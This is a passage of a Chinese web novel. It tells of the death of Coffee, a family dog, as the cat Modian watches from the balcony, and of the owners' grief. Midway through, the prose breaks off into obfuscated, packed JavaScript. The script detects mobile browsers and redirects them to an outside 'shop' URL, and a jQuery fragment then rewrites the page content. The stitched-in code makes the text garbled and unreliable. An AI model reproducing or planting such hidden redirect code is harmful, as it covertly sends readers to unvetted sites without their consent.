自那天Coffee差点摔倒之后，阳台内的气氛仿佛被一层薄纱笼罩，看似依旧，却质地已变。韩慧和林朗对Coffee的照顾更加无微不至，眼神里时常掠过掩饰不住的忧虑。他们减少了Coffee的剧烈运动，增加了更多安静的抚摸和互动，食物也似乎做了调整。Coffee依旧表现出快乐，但那种毫无保留的、火山爆发般的精力，确实如同被悄悄调低了音量，它更多时候愿意安静地趴在韩慧或林朗身边，将头搁在他们膝上，眼神依旧清澈，却多了几分依恋般的宁静。
墨点观察着这一切。他知道，那个名为“医生”的两脚兽，大概给出了不太好的消息。生命倒计时的阴影，虽然无声无息，却已切实地笼罩下来。
时间在压抑的预感中流到了四月初。春意浓得化不开，空气中弥漫着各种花卉甜腻的香气，阳光温暖得让人慵懒。但对墨点一家，尤其是对墨点而言，这种温暖下却潜伏着一种难以言喻的焦躁。他不知道自己为何如此不安，仿佛空气中充满了某种即将碎裂的张力。
四月八日的夜晚，异常闷热，没有风。墨点睡得很不踏实，几次惊醒，总觉得心跳莫名加速。雪绒也似乎察觉到了什么，整夜保持着浅眠，耳朵不时转动。
四月九日，一个普通得不能再普通的清晨。天空是淡淡的鱼肚白，逐渐染上橘粉。小区里开始传来零星的人声和车辆启动声。
阳台玻璃门内，韩慧和林朗似乎起得比平时略早。墨点透过缝隙，看到韩慧穿着家居服，蹲在Coffee惯常睡觉的垫子旁，轻轻抚摸着它。Coffee侧躺着，似乎还在睡梦中。韩慧的动作极其轻柔，眼神里的哀伤浓得几乎要溢出来，但她没有发出任何声音，只是那样一遍遍地、不舍地抚摸着Coffee从头顶到脊背的白色长毛。
林朗站在稍远处，静静地看着，手里端着一杯水，却没有喝。他的脸上没有什么表情，但眼神深黯，像两口枯井。
一种窒息般的寂静弥漫开来，不仅笼罩了室内，也仿佛透过玻璃门，浸润了阳台的每一个角落。连平日里清晨最活跃的鸟儿，似乎也噤了声。
墨点忽然明白了这种寂静的含义。他全身的血液仿佛瞬间冷却，爪子紧紧抠住了木箱的底板。他看向雪绒，母亲也正望着室内，冰蓝色的眼眸如同冻结的湖面，映照着那片凝固的悲伤。
没有挣扎，没有痛苦的呜咽。仿佛只是在一个宁静的梦中，那团总是散发着热情与快乐的白色光芒，悄悄地、彻底地熄灭了。
韩慧的抚摸停了下来。她的手久久停留在Coffee已经不再起伏的胸口，然后，整个肩膀垮了下来，脸埋进Coffee脖颈间浓密的毛发里，身体开始无法抑制地颤抖。没有嚎啕大哭，只有压抑到极致的、破碎的抽泣声，闷闷地传出来。
林朗放下水杯，走过去，单膝跪在韩慧身边，伸出手臂，紧紧环住了妻子颤抖的肩膀。他将脸贴在她的头发上，闭上眼睛，下颌线绷得死紧。
阳光终于完全跃出地平线，金灿灿地洒进阳台，透过玻璃，将相拥而泣的人类和那具安静沉睡的白色巨大身躯笼罩其中。光影分明，却驱不散那核心地带浓得化不开的哀恸与寂寥。
Coffee走了。在这个春暖花开的四月九日清晨，在最爱它的人的身边，安静地离开了这个它曾用全部热情拥抱过的世界。
阳台上的时间，仿佛被按下了暂停键。韩慧和林朗在悲伤中沉浸了很久。直到日光偏移，林朗才轻轻扶起韩慧，两人低声商量着什么。然后，他们用一条干净柔软的毯子，极其小心地、仿佛怕惊醒它一般，将Coffee包裹起来。韩慧最后一次亲吻了它的额头。
他们没有立刻将Coffee移走，而是让它留在原地，仿佛这样就能多留它一会儿。两人坐在旁边，握着彼此的手，沉默地守着，偶尔低声说几句话，回忆着关于它的点点滴滴。
木箱里，墨点感到一种深沉的、空茫的震动。他见过死亡，狩猎时的死亡干脆利落，是生存链的一环。但这样的死亡——在温暖和安全中，在深爱环绕下，平静而无可挽回的消逝——带给他的冲击截然不同。那是一种关于“存在”本身终将逝去的、宏大而悲伤的启示。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218522|197467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
雪绒轻轻碰了碰他，示意他注意幼崽。三个小家伙似乎也感应到了外面弥漫的异常沉重气氛，变得格外安静，依偎在一起，睁着圆溜溜的眼睛，不明所以地看着母亲和哥哥。
这一天，阳台内再无往日的训练声、嬉闹声、电视声。只有沉重的寂静，和偶尔压抑的啜泣。Rocky和乌龙似乎也明白了什么，它们安静地待在角落，Rocky不再试图探索或恶作剧，只是默默看着包裹着Coffee的毯子，眼神里第一次出现了类似困惑和悲伤的情绪。乌龙则紧紧挨着韩慧的腿，试图用身体温暖她。
下午，有另外的人类到来（可能是宠物殡葬服务人员），小心地将Coffee抬走了。韩慧一直送到门口，回来时眼睛红肿，几乎无法站立。林朗全程搀扶着她。
接下来几天，LL&HH‘s Garden 的核心家庭，沉浸在失去成员的巨大悲痛中。阳台上的植物似乎都黯淡了，玩具散落着，却再没有白色的身影去追逐。韩慧常常对着Coffee的食盆和水碗发呆，林朗的画笔也停了很久。
这种悲伤的氛围，也影响到了阳台上的其他“住户”。Besty变得更加沉默，巡视时偶尔会看一眼Coffee常趴的位置。墨点一家也保持着最低限度的活动，仿佛生怕打扰了这份哀思。
生命的逝去，以这样一种宁静而深刻的方式，重置了Garden内部的情感基调。欢闹被沉静取代，无忧无虑的时光仿佛随着那团白色身影的离去，也一并被带走了。
墨点第一次如此清晰地意识到，这个由善意构筑的Garden，并非一个永恒的、静止的桃花源。它同样经历着所有生命共同体都必须经历的循环——新生、成长、欢聚，以及，必然的告别。
Coffee用它的离去，为所有生活在此地的生命（无论是围墙内还是屋檐下），上了关于“珍惜”与“有限”的、最沉重的一课。
而这一课的余波，将会在未来的日子里，以各种方式，继续回荡在这个逐渐成熟的生态系统中。
四月九日的寂静，久久不散。